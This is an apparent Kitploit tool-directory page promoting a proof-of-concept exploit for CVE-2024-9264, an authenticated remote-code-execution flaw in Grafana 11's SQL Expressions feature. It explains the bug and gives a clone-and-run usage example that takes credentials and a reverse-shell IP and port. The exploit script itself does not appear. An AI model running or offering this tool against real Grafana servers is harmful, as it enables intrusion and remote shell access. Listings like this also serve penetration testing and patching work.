Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-9264 — Authenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit | Kitploit
Tools/GitHubGitHub/rvzsec/cve-2024-9264
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubrvzsec/cve-2024-9264

CVE-2024-9264

Authenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-9264

Authenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit



logo

CVE-2024-9264 - Grafana v11.0
Authenticated Remote Code Execution (RCE)

PoC

Introduction

CVE-2024-9264 is a critical remote-code-execution and local-file-inclusion flaw introduced in Grafana 11’s experimental “SQL Expressions” feature. The API passes user-supplied SQL straight to the DuckDB CLI without adequate sanitisation, so any authenticated account with Viewer or higher privileges can inject shell commands or read arbitrary files, provided the duckdb binary is in the server’s PATH.

Usage

root@kitploit:~
git clone https://github.com/rvizx/CVE-2024-9264
cd CVE-2024-9264
chmod +x exploit.sh

# usage
usage: ./exploit.sh <grafana_url> <username> <password> <reverse_ip> <reverse_port>

Example:

root@kitploit:~
./exploit.sh http://grafana.example.com admin LMCOP4X2?29DX2%332! 10.10.10.10 1337
Download Tool